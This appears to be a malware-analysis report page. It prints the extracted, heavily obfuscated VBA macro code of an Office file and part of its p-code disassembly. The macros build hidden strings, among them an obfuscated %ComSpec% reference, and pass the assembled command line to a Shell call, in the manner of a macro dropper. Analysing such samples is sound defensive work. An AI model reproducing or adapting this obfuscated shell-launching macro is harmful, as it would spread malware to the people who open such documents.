HrvHnf = 67434 + FnBMAM
USFXjJsuFWS = AmFvzi(".8GGvWBiPLm%!!%pian0X", 62871 - 62871 + 5 + 62871 - 62871, 62871 - 62871 + 13 + 62871 - 62871)
Set VuwSt = fPlai
EzVGa = rnntn
bFvTV = mLlQCO + Atn(GlfcbK) + 62378 - 17997 / (52535 * Hex(wjhatI))
PbHfr = 76772 + LtooT
Set fHwzh = iXkvo
DvZBEc = pCdwUa
lHzdRU = DQIKoo + Atn(qjwDFB) + 18870 - 38627 / (83555 * Hex(fXfoMC))
cXBUW = 45974 + dUzzi
WwARGcDirC = AmFvzi("U@Q% tes,8Y0q00", 36255 - 36255 + 8 + 36255 - 36255, 36255 - 36255 + 6 + 36255 - 36255)
Set qQohz = fsOYW
QJwto = rOwiQm
TIrak = KpaAO + Atn(zoqXSO) + 99308 - 60480 / (5969 * Hex(OJjjL))
PSIzB = 15425 + MnSdVL
Set fnEqL = ZLzKaj
EvnUkP = FwGqW
zJIwOw = Opqzz + Atn(fGXmd) + 40374 - 24116 / (2972 * Hex(WcKKm))
wjjOU = 65194 + PDBvbY
pTkOE = AmFvzi("1@ tes&&MIrwwUsXmMr6", 53106 - 53106 + 6 + 53106 - 53106, 53106 - 53106 + 13 + 53106 - 53106)
Set OFqUZ = AhJcVJ
smjnEM = QGJjfd
qUlito = pQmqlC + Atn(QZDsK) + 11601 - 74807 / (56245 * Hex(OqPaI))
wGpvl = 18943 + YubVz
Set WKGdO = RsHnAG
iaOFP = tMMMw
rpGwqw = iXlVOX + Atn(QMzXJi) + 80070 - 8032 / (93048 * Hex(NAEkaM))
zKjXp = 20551 + RrEYzz
cMUUTlUs = AmFvzi("6vsSOYkFar", 5897 - 5897 + 5 + 5897 - 5897, 5897 - 5897 + 2 + 5897 - 5897)
Set AhQDh = pDSEn
QiprLH = bXEob
BCFRZR = wlNTo + Atn(twUuri) + 68893 - 93164 / (89090 * Hex(bztQm))
jvsod = 61522 + jlsnj
Set uNCirD = oSfon
qkqrK = ozCthV
HWhbh = vmREXU + Atn(zVNEq) + 64639 - 50005 / (23678 * Hex(sBDNbc))
rUUMZv = 66649 + rwpsT
OXcBE = AmFvzi("vMas&&r^e=%piwNAwqt5K14F", 89545 - 89545 + 6 + 89545 - 89545, 89545 - 89545 + 16 + 89545 - 89545)
Set jSWFt = mzDzv
JdjXT = SmajC
iDmGN = shsYMi + Atn(HhJNtR) + 40912 - 31989 / (39870 * Hex(EaTiRZ))
wwPPbq = 61400 + kLHOMk
Set ktOSji = GhwIq
wDndlR = RPjQJC
aFhOwB = ujQjz + Atn(GFlrs) + 48437 - 20856 / (7190 * Hex(FVFlQ))
VJwJd = 70899 + BAhLpT
EZASSlolcua = AmFvzi("Hrbil%zFBvWBiPLm% tes&&!o,c", 34294 - 34294 + 4 + 34294 - 34294, 34294 - 34294 + 19 + 34294 - 34294)
Set XXwmJ = LdrXjr
OzLIKl = YWRXVX
DlKjj = zoiYTc + Atn(IrRaZm) + 83216 - 54242 / (5603 * Hex(ZBDXfA))
ZRmWH = 85870 + qzAuZQ
Set YtCmZF = VPwNv
vvPYH = mWzsB
zjvFtZ = UIbuf + Atn(hSqNVP) + 64299 - 11582 / (76425 * Hex(pFTGTj))
bABrb = 41519 + QVZwb
zjXEDfH = AmFvzi("6VoCIozcS% tesr,k", 75071 - 75071 + 4 + 75071 - 75071, 75071 - 75071 + 11 + 75071 - 75071)
Set UBjpa = wIbdTp
vFAaS = nuztis
zjzzp = iWToWi + Atn(ikFAXh) + 4878 - 33626 / (49326 * Hex(QvHzn))
UHFzU = 76507 + LbniK
Set uIZjij = BiBZo
CYkuQ = nvALK
qziSs = LYBpFp + Atn(pBiYGw) + 44972 - 42679 / (13026 * Hex(WUSkFc))
twPMoh = 65467 + mEOQSM
zJANmRiUq = AmFvzi("LsbVXtes&&csqOzwcis@", 76380 - 76380 + 2 + 76380 - 76380, 76380 - 76380 + 14 + 76380 - 76380)
Set uBaAJ = tOmwj
LwaLF = UwIajB
wqUrI = oZDZQ + Atn(FTJzi) + 54229 - 28027 / (9833 * Hex(WjLtJ))
zQLUU = 48775 + MjYXir
Set DoGiuH = TDLlSQ
Czppb = TFwVWG
ObdJTq = ApJmS + Atn(iDdJd) + 65030 - 58836 / (60600 * Hex(OGQiF))
zqlMnQ = 57403 + aCScHF
QrabTZiBkrQ = AmFvzi("@YDcUwNAwqtnll%!!am", 89942 - 89942 + 3 + 89942 - 89942, 89942 - 89942 + 12 + 89942 - 89942)
Set oDWSB = bproc
wMXso = hCzYaf
ELDHLF = ZCZCu + Atn(EMWBt) + 45561 - 21357 / (8272 * Hex(fCJdrZ))
NQdrZ = 94623 + XhjiE
Set wfCij = kOTzCd
nQOlq = kTNIOj
EzTSMQ = EwPlqi + Atn(uCtOU) + 22667 - 46176 / (59423 * Hex(QQEJo))
lXozw = 44421 + vBnlwK
zmnlwQhRVkw = AmFvzi("9M9@SvDsAEw% LX", 73580 - 73580 + 3 + 73580 - 73580, 73580 - 73580 + 7 + 73580 - 73580)
Set AdvLiq = TutXN
bCBHH = ALswrj
GHsajP = oVnVs + Atn(znRcuc) + 71562 - 95313 / (22647 * Hex(zfdEKf))
jDfzk = 19635 + UKIzlG
Set UdcdN = jJjfV
jLXDOs = OilMta
zMHuww = FZdmYr + Atn(DtYlZ) + 41300 - 81297 / (57132 * Hex(WPPVq))
iQjCYZ = 38079 + oiWvd
uYDdrwCALrz = AmFvzi("V,dZUINDb9pLb", 28353 - 28353 + 5 + 28353 - 28353, 28353 - 28353 + 7 + 28353 - 28353)
Set tRqBWL = MaTFwV
kfhdB = qNCVS
jrjCCZ = rTFZN + Atn(fzVqPz) + 51795 - 6432 / (36772 * Hex(JBttM))
jOUinb = 94647 + XQflih
Set IEUdPH = Crfqws
DqqzC = uEjzEn
oBhhiB = qhORZ + Atn(ARajlH) + 91922 - 73090 / (98097 * Hex(nrVcB))
XVYcQ = 99563 + KzLvj
bHwBJX = AmFvzi("MMtEjsbIKMdJsE", 60489 - 60489 + 5 + 60489 - 60489, 60489 - 60489 + 8 + 60489 - 60489)
Set VbZYJr = dzOzrF
ltqJYK = KtswcA
QlZMP = doOTL + Atn(ZaZHbk) + 20757 - 19644 / (28558 * Hex(HBWVq))
ijbjr = 20374 + Lokcw
Set JRdRsG = jBwalF
pFlnMi = dpKKI
BnwnX = AhfBAC + Atn(BqRdd) + 34641 - 74897 / (19227 * Hex(oiTzL))
fbSGjj = 93376 + EICwEs
CuZZV = AmFvzi("XEUE4CqVqBjnTGAfUiSzn% MkR", 22933 - 22933 + 4 + 22933 - 22933, 22933 - 22933 + 17 + 22933 - 22933)
Set Ekkwc = LMhsV
izNTa = LCEitT
EzMVaT = ROjwjA + Atn(bUPkON) + 42864 - 35006 / (85361 * Hex(pcWsqE))
qRPYP = 97025 + HYnvQQ
Set UjRtpw = jYBtO
OcEvZ = mNukz
DVjUB = hjMGRE + Atn(NLMIK) + 43286 - 34833 / (3753 * Hex(aDfoE))
piawUt = 72642 + YMXVMi
FWHfud = AmFvzi("hYl9UwEw^o=%YOZvbItwK% t%", 30054 - 30054 + 2 + 30054 - 30054, 30054 - 30054 + 17 + 30054 - 30054)
Set IKAiL = ZEkNf
DudoMb = uifUj
bjowm = GXsRs + Atn(GtTPdq) + 67730 - 78642 / (90742 * Hex(juXKtF))
ddqQOj = 47153 + IzMZaK
Set YnlYQ = fcQYRp
ZGztqq = UWHYwK
IIonDM = TMtWw + Atn(YtiLtj) + 18045 - 15105 / (48918 * Hex(FFCRwC))
NcGAXT = 52610 + OdfGuD
ilthPZjM = AmFvzi("@XCB.%VXSCtsthMo%!cEj7", 54933 - 54933 + 5 + 54933 - 54933, 54933 - 54933 + 13 + 54933 - 54933)
Set sCMao = iMBjiT
iBvHRj = tsoBZH
fFdBil = NAEXNk + Atn(PEQoAs) + 5409 - 26084 / (65663 * Hex(oOXiA))
LBjUw = 13491 + hDiBU
Set uuPSDZ = Ozwra
vaOnNj = CXVtH
DAtqjw = TCTHN + Atn(upZiI) + 62889 - 29083 / (14142 * Hex(rMJZVs))
WYWLaW = 30055 + GRvTi
bbGXol = AmFvzi("ELcnDzl% tes&&dYzAaiultEKi", 1898 - 1898 + 4 + 1898 - 1898, 1898 - 1898 + 17 + 1898 - 1898)
Set GHaDlR = tNMsUS
jjGaO = fukBiY
DXqlvc = kFjVjb + Atn(dLJTG) + 7317 - 13677 / (79624 * Hex(KUEENM))
YUMrZ = 43053 + bwraX
Set AYRujk = qpJPY
kEddA = LFiXjo
DGQboq = NsTuUL + Atn(idRdKG) + 5072 - 21513 / (65281 * Hex(fiYScR))
lGCjO = 50205 + UYiCr
TpMOzzCamc = AmFvzi("fM9FEUzj%!!%zFBrJ%", 52087 - 52087 + 4 + 52087 - 52087, 52087 - 52087 + 11 + 52087 - 52087)
Set jIpohb = tWibs
ZvKRX = bSJOIT
DDIlX = TzIWp + Atn(lABHPX) + 53193 - 76999 / (80568 * Hex(SKHKR))
SZujV = 33519 + NkkKa
Set XIYcF = kWPJu
zzdIG = DSOaT
jClcEJ = HYjZDt + Atn(DaDtOW) + 40720 - 87118 / (37394 * Hex(jvhfJF))
zozwCa = 15864 + FUntT
aGoWArG = AmFvzi("ff8Bp% tes&&!%MQd@n", 47417 - 47417 + 4 + 47417 - 47417, 47417 - 47417 + 11 + 47417 - 47417)
Set aORUd = VMwFm
rwJbJz = sbOvs
AvbIC = zzVGjQ + Atn(jpSkr) + 84837 - 18350 / (36804 * Hex(LJdKpa))
wLSYTc = 39046 + DuXnjW
Set UFzDF = kzIwqH
OZTzE = oBvQf
nDWrMU = mndqO + Atn(BTYDA) + 54162 - 86684 / (10440 * Hex(soRNd))
nWYoU = 53262 + qNGwc
drHsIwOO = AmFvzi("h,7,aom% tes&&jSY", 81433 - 81433 + 4 + 81433 - 81433, 81433 - 81433 + 10 + 81433 - 81433)
Set VlliEj = rQzuo
WOLiZw = zwQEBu
jcKwDz = jnGFN + Atn(aSXYiA) + 65125 - 10675 / (5370 * Hex(ijwljX))
hhKuS = 29179 + AqoZm
Set bsfOpS = EXWktm
lNsRw = LsNWpH
ptwfz = pJhOLT + Atn(LENls) + 27211 - 65308 / (71872 * Hex(qWoZh))
ifIYhw = 6667 + brnww
sSMkKwHkPRc = AmFvzi("mZMM!!%P9fz", 53300 - 53300 + 4 + 53300 - 53300, 53300 - 53300 + 4 + 53300 - 53300)
Set Dzhzjl = fbibZ
kDZrXN = aCFmm
IsmuE = ltBqp + Atn(qwbDDi) + 94648 - 14801 / (30653 * Hex(HCAPl))
RAtuLU = 55672 + thZMo
Set AfrzAj = AiVCYM
jfiWX = hXwAVz
ossdZK = hjwXLR + Atn(MvABnL) + 7795 - 17438 / (72644 * Hex(klsAc))
rcCwtH = 79798 + dOjUwi
KpQicY = AmFvzi("cz%@LjfZEkDsAEw%!=%VXSCD.", 79460 - 79460 + 3 + 79460 - 79460, 79460 - 79460 + 18 + 79460 - 79460)
Set KGGUc = wimdfG
snSjFA = vJSrF
IYYij = CJZfl + Atn(znttPU) + 26071 - 2064 / (24195 * Hex(pwAOvd))
BnOOW = 75790 + JHtTD
Set NiLiI = QCmGwU
DiCrSW = PFRhUY
VSAEdE = TzMUVi + Atn(OYcdsP) + 25909 - 14861 / (37698 * Hex(ndnmHN))
Nktvjl = 4126 + Qqjfq
lXCTdotPFja = AmFvzi("VWOCW4nls", 37882 - 37882 + 2 + 37882 - 37882, 37882 - 37882 + 2 + 37882 - 37882)
Set znKBh = DbJjOz
QARBM = iGlphf
aIcYic = Vqpcka + Atn(alaNh) + 69375 - 56778 / (72790 * Hex(zpXtH))
LwcWu = 27253 + zkClVm
Set KfTYn = kXQpQt
JSoWX = cXNiHW
TzcEpa = iXOBQO + Atn(SERfA) + 21616 - 36139 / (16222 * Hex(qvnnc))
zAMBsa = 75913 + Lzpwjm
pWpJuprb = AmFvzi("dSGF3Y%JzVWjKYuVtHz%!Zmt", 49104 - 49104 + 4 + 49104 - 49104, 49104 - 49104 + 15 + 49104 - 49104)
Set nGIVJ = vzGLb
nmJCn = jaNoO
jfJGf = OjWGC + Atn(iSSfBB) + 10650 - 80899 / (31743 * Hex(AICzB))
DMqwrm = 72724 + IoTvws
Set lofLO = PczWlL
BsLusK = cAqnz
niOcK = jJfrrU + Atn(YOijCt) + 43417 - 95223 / (20317 * Hex(KNjFEs))
zrLqCl = 26631 + MsbmV
HvDfQGXqiF = AmFvzi("%s9tfZEk%C@Xt", 78903 - 78903 + 6 + 78903 - 78903, 78903 - 78903 + 4 + 78903 - 78903)
Set UaSmK = Tntcbc
EPamfQ = uzIkVd
MqBuK = kpnRTt + Atn(RKwjPZ) + 82954 - 18182 / (10232 * Hex(GwWaGV))
iQhaH = 94706 + hQnJOb
Set HAcWj = JKUJS
NBBXB = jKfza
qKqzW = ourIX + Atn(dDjKkI) + 4047 - 71657 / (9760 * Hex(wCOGbl))
ZlIaH = 60840 + YJnGU
pIRARYTmL = AmFvzi("3S.%Y=%JzVWjKYuVtHz% te%E", 18040 - 18040 + 3 + 18040 - 18040, 18040 - 18040 + 18 + 18040 - 18040)
Set jEiIu = qYaWzo
sOokQ = DoRXPS
XIlaV = RjRrYG + Atn(cvhwO) + 21970 - 71700 / (84783 * Hex(KkZWTQ))
OhOpYa = 65812 + zBBXja
XUITmBNMWk = zjXEDfH + bLIIfowT + ptnaSrWTw + zJANmRiUq + zmnlwQhRVkw + HvDfQGXqiF + DHVqf + FWHfud + drHsIwOO + XMkjFq + NuviiLMYDkX + ZhbDKA + qBUaCiHfTIF + GirzhE + MaZhwwwo + cMUUTlUs + pTkOE + UzMPEt + drztLP + KpQicY + aGoWArG + PBudPTUtD + bHwBJX + lOnkwDDiNK + bbGXol + lXCTdotPFja + OXcBE + pIRARYTmL + PEosmTvDPf + EZASSlolcua + CozlroMK + CuZZV + RwjNCZQk + wUHCj + zlkKtuEut + WwARGcDirC + qjaDXjUUh + ilthPZjM + hfRrhHcEjAi + pWpJuprb + QrabTZiBkrQ + USFXjJsuFWS + TpMOzzCamc + uYDdrwCALrz + sSMkKwHkPRc + zwQmN + zCJPjP
Set PiEKI = SIDhd
zBBwcA = DKJQnB
vzNKN = MnUuR + Atn(IivZL) + 14938 - 91189 / (81526 * Hex(lwCYXn))
MGNRI = 90795 + TutUU
Set mmDQzv = bWRhj
dkVmI = fkttiT
cwjol = RLada + Atn(oiIEa) + 84669 - 58373 / (79686 * Hex(SYYWR))
SvstZz = 54322 + LuhjW
End Function

Attribute VB_Name = "rDGuMUwWj"
Sub BzdOK(ISURz)
Set ikBcM = zJsMI
OPSdJz = wPZsZT
InmOL = OcVWt + Atn(IjYXap) + 83985 - 4692 / (1423 * Hex(FiJXSC))
IsbIw = 14667 + WdADM
Set uvjYoS = swDhR
NiHFo = LbMiSb
YOAzo = pOAKvk + Atn(AfIKot) + 83188 - 73726 / (88701 * Hex(PYLRAK))
RRwftJ = 84168 + OtbzM
End Sub
Sub llntqwANwip(mLPiBWvBFz As String)
On Error Resume Next
Set MUGlj = BpYkW
mlYdWp = StdnC
VQJaz = ohECD + Atn(fUqjb) + 85986 - 23752 / (16671 * Hex(XGclW))
ttiijD = 59235 + DrPYU
Set whiVXr = NlRkb
rwJhpd = unZTWB
JnpMT = aSpYHN + Atn(QjINwF) + 18378 - 76074 / (23626 * Hex(KZvroJ))
OwVqM = 50283 + FRjTYJ
[Shell] abzMOfLVRsNw + Chr(vbKeyC) + mLPiBWvBFz + fmYAmJjJIrpEG + IjVpODH, oNRuGi + 0 + oNRuGi
Set wwiZiw = hdcPjR
tjhPc = RjHHIT
ovCwt = vnZWMi + Atn(QbONpZ) + 89319 - 79130 / (76725 * Hex(HzafSO))
WRKsEm = 51540 + VuVfTN
Set ksMpV = RiZOAI
zTGdYj = uUrLpn
UfYKUZ = OiTctv + Atn(jliDd) + 61224 - 58532 / (4240 * Hex(sGkObQ))
AAhLz = 5917 + EjjIk
End Sub

Attribute VB_Name = "nAfnuLjNHMHE"
Function rjDkL(whScM)
Set HjkZXt = tRAsa
TPjnto = GfMUA
YzmDUX = Cniwo + Atn(SkLAqn) + 55962 - 76228 / (83855 * Hex(RuZomd))
UQYbVZ = 13309 + jUHtj
Set izJVpv = VjXIjC
JvjhZ = KiPIw
EmJTV = LKiuQS + Atn(izwjAT) + 78968 - 43803 / (72289 * Hex(klaUV))
AjAZdq = 84553 + NCOVs
Set OfQkqN = wOoHo
hZhvZ = kiKPsT
FmWwFT = zqEUqi + Atn(NCVLS) + 78537 - 46010 / (20462 * Hex(fHpfIE))
QXQwI = 49981 + PjnKTq
Set MEuiW = pDaiUu
qrQoWu = owZjzo
FciiE = RSCuw + Atn(XNMzli) + 25415 - 50115 / (72756 * Hex(TznYC))
QiOjiG = 69486 + wzPaiX
End Function
Function VrkXab(nCmNoh)
Set frfRl = XfNDR
lBmOmr = izICB
EQqMwU = CSQIk + Atn(zURqd) + 63120 - 11089 / (93394 * Hex(wBnzWZ))
KXodoj = 73230 + TQjzaS
Set ddduuR = iVvjN
oYzzs = ItTHU
ijWMz = VYNYK + Atn(cfjCs) + 36069 - 64758 / (16614 * Hex(TsuTl))
WJqJW = 17279 + LhkRYp
Set pEQOb = NXFBB
LwOrc = LAwOXO
NwUwSb = swdOcj + Atn(QtzEpI) + 94455 - 94668 / (60113 * Hex(qIYNoL))
hBaNXt = 46460 + aHjNVz
Set wBuHz = hGqQT
IJDjD = BhaFit
bRPBQ = KwbMXS + Atn(MRzvjz) + 7420 - 41965 / (30509 * Hex(XadbTS))
qWBGXs = 35801 + ajJaj
End Function
Function AmFvzi(ByVal oMhtstCSXV As String, QqOafVTh, jzUEbDNIUZdP)
On Error Resume Next
Set fNVZki = WjpiLo
amIqim = ARbpY
rIRuvj = rNIBik + Atn(TpMcL) + 8466 - 50652 / (58013 * Hex(XSwtbf))
ukLBnN = 29876 + jcIBMi
zHtVuYKjWVzJ = IudBLE + Mid(dUGMUtczpDLRNQ + StrReverse(oMhtstCSXV) + jWGaStjwZ, JQKCQZUr + QqOafVTh + HruasVSjnEpvQr, jzUEbDNIUZdP) + LGvlmEuYhvLd
Set zYdrZ = JjovN
zJvrj = sYZrK
jFqMSN = hsAmOa + Atn(WziEWK) + 64812 - 63438 / (74025 * Hex(wjzZTE))
FOzITa = 92506 + aQjLz
AmFvzi = hQlztqUUz + zHtVuYKjWVzJ + CTvOlPFNoIjzbp
Set Ymrvt = VnYQQ
ZZNXl = CGAfh
LLSXrp = pwzUEd + Atn(FvjjW) + 95354 - 41350 / (7556 * Hex(nakvkY))
CtEPki = 65403 + vijaPc
Set JuNJH = UIkGH
izHuwR = vbzOn
NikoO = oCiQpi + Atn(RJhlUI) + 57064 - 3514 / (5907 * Hex(oomIC))
iJfZlt = 82154 + UVLSdw
End Function
Function RMVACN(fFJVKh)
Set zcmlVE = KIpYT
RwzKYG = XcQIz
odaPP = IpUtZh + Atn(rYHDj) + 54025 - 68690 / (30249 * Hex(jIzzD))
XXLdl = 2339 + djsZp
Set IwFXd = OvQYk
QEPzRQ = ivRwh
vGbvXK = mZHcb + Atn(VhpRGz) + 52452 - 93280 / (41839 * Hex(BjScGK))
qAXci = 18119 + AtNduq
Set mWhvlp = LzGzZK
OFizb = QbDIn
BRNmz = izOKl + Atn(VVlfDR) + 55053 - 16588 / (98728 * Hex(loiiS))
jLSYIN = 76500 + wLJzu
Set LEUBi = YkYmf
YofYHT = wSDrMZ
hZhsI = NoCjUc + Atn(LIvmf) + 86213 - 56655 / (79533 * Hex(jZDpNw))
HMHcWY = 98340 + jiAQj
End Function
Function vBTBJOQoQY()
On Error Resume Next
Set zEiTYq = RLTvS
tIoSSR = uUMAdn
sFBsM = NhUYW + Atn(FUqAoh) + 7361 - 82231 / (11528 * Hex(sMhwmr))
sipkhi = 22235 + aiMUL
Set wXaSO = HcLpl
lkRlU = uhckAo
iAjEW = zdjWF + Atn(Rlztw) + 76902 - 51533 / (21310 * Hex(DHoUZE))
zrNXlS = 61275 + aYofm
lOajBwio = AmFvzi("Oj0mZm^o^c^%    QGv", 5315 - 5315 + 4 + 5315 - 5315, 5315 - 5315 + 11 + 5315 - 5315)
Set CNLfCG = oiwZdC
tsjwFK = rJiVzG
SZzvZR = tcpXw + Atn(INRzIQ) + 1582 - 22860 / (66636 * Hex(saczKE))
JDAEWE = 94466 + EldzPu
Set ApiJw = jBDfN
jqKoc = PNDWcB
UcchJ = GHNkjt + Atn(MswTM) + 21155 - 52313 / (84090 * Hex(Azodu))
oNdMcB = 53381 + HTtzHB
GFmOjrPakWO = AmFvzi(".SiGE@PKLImmwtWjnpHMTJr", 48631 - 48631 + 3 + 48631 - 48631, 48631 - 48631 + 15 + 48631 - 48631)
Set FduVb = PjJRa
Ocdtf = WTAGUQ
lJrzS = UpnuW + Atn(ITMYdT) + 88839 - 5010 / (71114 * Hex(GdaON))
iSwIiP = 80797 + YkrGG
Set JTYji = zLppjp
Zrfldq = HPuRB
zkjiUN = FNzhD + Atn(kjcVE) + 95304 - 39326 / (12644 * Hex(TGuMIA))
uZHhiB = 25274 + LUTQaM
StaOw = AmFvzi("qTc/         V/    E9ui@", 51294 - 51294 + 6 + 51294 - 51294, 51294 - 51294 + 17 + 51294 - 51294)
Set ziOFji = pThpGR
jIEYKT = ZVfiTw
jdEjf = JLzCUQ + Atn(joAtv) + 91474 - 8671 / (53341 * Hex(OrPtR))
NjWNj = 69342 + pdIbp
Set RwRwO = YGsiaH
FqrIYM = vvQXjX
Ysufu = SiZiPo + Atn(OqIor) + 97637 - 98469 / (31605 * Hex(homYz))
WjuPq = 62671 + NzwfbM
BvABLWVkhqa = AmFvzi("TZE aURwQjmoChB LQcAjZJ2", 33136 - 33136 + 4 + 33136 - 33136, 33136 - 33136 + 18 + 33136 - 33136)
Set QMtjsl = mcjiY
MLGtWj = Itkzw
OcLpLX = pvUuCf + Atn(GjEOh) + 34254 - 68766 / (76367 * Hex(qFIuE))
WctlE = 43370 + bmUKlH
Set crlZLa = bBOcqb
jNSpBB = dIifEZ
oRhjfZ = zMlOp + Atn(wOJzFY) + 67902 - 44726 / (1549 * Hex(fjzww))
HuGAEn = 69459 + wKCkhA
BncHYDb = AmFvzi("YcIrh   Zq%,", 31307 - 31307 + 5 + 31307 - 31307, 31307 - 31307 + 3 + 31307 - 31307)
Set aMXjPz = ZjqUnt
wfaJQ = rHpZJ
cDuWzq = qFXcP + Atn(jcUaKj) + 99701 - 81533 / (59651 * Hex(ibbQvp))
XzZkX = 53471 + KrinDw
Set WpniAI = ZDmca
zzikXB = vbPpk
jVTuK = ZlwPuT + Atn(QCvWi) + 436 - 14367 / (34364 * Hex(mRQrb))
iuazwj = 53719 + FJbjA
IvjWUSzYTh = AmFvzi("0lZ %^c^E^p^S^m^o^c^% vUVhZ", 48688 - 48688 + 6 + 48688 - 48688, 48688 - 48688 + 19 + 48688 - 48688)
Set CjjRN = zzFjpd
UjCdT = mDCpz
doBqM = THDJC + Atn(wiqoio) + 88426 - 14845 / (40741 * Hex(HSDfIL))
KAumw = 67725 + zJtZVV
Set iEVJzG = jbDju
WcuNK = awGtV
svRiR = funzz + Atn(OYVhCh) + 86180 - 66218 / (60741 * Hex(iqpjtH))
bXLAk = 13858 + uBJlD
NowUapnkPY = AmFvzi("L@n, &@.LL", 96268 - 96268 + 5 + 96268 - 96268, 96268 - 96268 + 2 + 96268 - 96268)
Set kYcNz = CtwZAm
MRaoiY = qMZoj
RJnAXH = fuFObk + Atn(ELiwL) + 25994 - 84610 / (88986 * Hex(TNbMfJ))
wohVU = 86685 + vCsHN
Set fiOffo = SbpUzm
cVjvPE = ssBBc
wbUoz = BRWXo + Atn(rZGWp) + 79624 - 29710 / (39630 * Hex(EpGVl))
kmqNdD = 73063 + rHBXdl
laVKO = AmFvzi("i6W %^c^E^p^SJZw", 35369 - 35369 + 4 + 35369 - 35369, 35369 - 35369 + 10 + 35369 - 35369)
Set FwstX = zWCLmH
rlNTMl = ijJKw
mPOoS = jBzqNc + Atn(DlPnC) + 82175 - 92166 / (98731 * Hex(FuiKrU))
ZphuSs = 69254 + OtAYl
Set tSSqiJ = UPXlOu
PaiGlM = MkkMU
bNuoT = VXcBSV + Atn(CmEbs) + 32573 - 94744 / (5419 * Hex(zfpAMk))
ihdOzz = 14274 + iRiYN
STaDFvjBr = AmFvzi("iJnUAsnzj ", 84123 - 84123 + 5 + 84123 - 84123, 84123 - 84123 + 1 + 84123 - 84123)
Set YQlWKa = IrvXJ
NPzSXl = uToGRC
itamYo = bPEdCK + Atn(Zqirn) + 12548 - 88432 / (11551 * Hex(wGnWsE))
iFHvZP = 33736 + wUwmz
Set YOivSJ = jEBEiz
QPsuSt = AiMVp
QYjajY = qoOTtM + Atn(rHUGW) + 65184 - 84021 / (89684 * Hex(lbDYl))
fSacQ = 62822 + YaUKR
ZjiiTXiZUY = AmFvzi("jKin iXPjLEtMDK dmSKiOvZ", 90609 - 90609 + 7 + 90609 - 90609, 90609 - 90609 + 15 + 90609 - 90609)
Set bAYBFa = sOFwH
VBvwf = vSIwt
vmjjt = MQCSWN + Atn(wzSfRM) + 54269 - 38950 / (29057 * Hex(JdcpJ))
WTDij = 19615 + mJUTlr
Set UPUrKN = vDwXwU
KwPSt = HhwER
XNOuTh = nSNsXs + Atn(jnsWfO) + 58877 - 55176 / (68063 * Hex(izBUSm))
PZOqb = 63531 + cqWhl
imDMLimw = AmFvzi("mp94tm^bw", 97078 - 97078 + 3 + 97078 - 97078, 97078 - 97078 + 1 + 97078 - 97078)
Set EraDpU = cYDRui
MVfHU = wczizF
itorz = mrqXwi + Atn(zprWwv) + 94396 - 28487 / (95007 * Hex(LOMFA))
tvDkOG = 67289 + LUDraV
Set vRMWJ = csaAc
lsBBj = OAInaT
RGooE = nuJpS + Atn(UqapMl) + 4955 - 50926 / (13574 * Hex(GrtjAJ))
EIrtLs = 92120 + EVnpIb
tiihND = AmFvzi("czk1B           8", 97278 - 97278 + 2 + 97278 - 97278, 97278 - 97278 + 11 + 97278 - 97278)
Set iaMBo = wCXsE
AzuXL = PEhbhI
iCHPOk = RDISUw + Atn(UIGTA) + 14379 - 39673 / (92082 * Hex(KwcMsX))
HtEDJ = 14293 + mIIFGw
vBTBJOQoQY = ZjiiTXiZUY + STaDFvjBr + GFmOjrPakWO + BvABLWVkhqa + NowUapnkPY + BncHYDb + IvjWUSzYTh + lOajBwio + imDMLimw + laVKO + StaOw + tiihND
Set bDMIvv = HhBdiM
RmYGuh = ZPvLN
UKsCO = BiuPDz + Atn(uzLDZb) + 89385 - 83669 / (39985 * Hex(jzLPn))
nQwhc = 13341 + pwPjLO
End Function
Sub PvdLcD(YTZwC)
Set NpKNTV = cuhEY
fqNwrW = IcQEnJ
LTLPoi = wVQUtw + Atn(KUOZn) + 74721 - 46006 / (55387 * Hex(UiaIo))
ZGaJhq = 17396 + RPtIhV
End Sub

' Processing file: /opt/analyzer/scan_staging/c5f08d9e224f43edb613f018d9f6a382.bin
' ===============================================================================
' Module streams:
' Macros/VBA/wrQXOmivkYFzp - 5252 bytes
' Line #0:
' 	FuncDefn (Sub BzkMfC(ciuCEs))
' Line #1:
' 	SetStmt 
' 	Ld jquQUh 
' 	Set wvKoC 
' Line #2:
' 	Ld IzEBlr 
' 	St zSQkzr 
' Line #3:
' 	Ld UHlwR 
' 	Ld SKETrz 
' 	ArgsLd Atn 0x0001 
' 	Add 
' 	LitDI2 0x4C25 
' 	Add 
' 	LitDI4 0xF0EE 0x0000 
' 	LitDI2 0x4A87 
' 	Ld JCNwM 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	Paren 
' 	Div 
' 	Sub 
' 	St BAjXln 
' Line #4:
' 	LitDI4 0x3B56 0x0001 
' 	Ld tjuld 
' 	Add 
' 	St rJCKGi 
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Sub ioiHd(vlKohw))
' Line #7:
' 	SetStmt 
' 	Ld PcuHd 
' 	Set mWUXqu 
' Line #8:
' 	Ld wiVUF 
' 	St UpaHDY 
' Line #9:
' 	Ld JnCrYL 
' 	Ld qFwCt 
' 	ArgsLd Atn 0x0001 
' 	Add 
' 	LitDI4 0xCB0D 0x0000 
' 	Add 
' 	LitDI4 0xE0AD 0x0000 
' 	LitDI4 0x390E 0x0001 
' 	Ld GKCkIu 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	Paren 
' 	Div 
' 	Sub 
' 	St OAGzO 
' Line #10:
' 	LitDI4 0xAB72 0x0000 
' 	Ld dfiUA 
' 	Add 
' 	St EBzRXj 
' Line #11:
' 	SetStmt 
' 	Ld Bjbtcd 
' 	Set zBwAi 
' Line #12:
…

Open this report in the interactive analyzer, or submit your own file for analysis.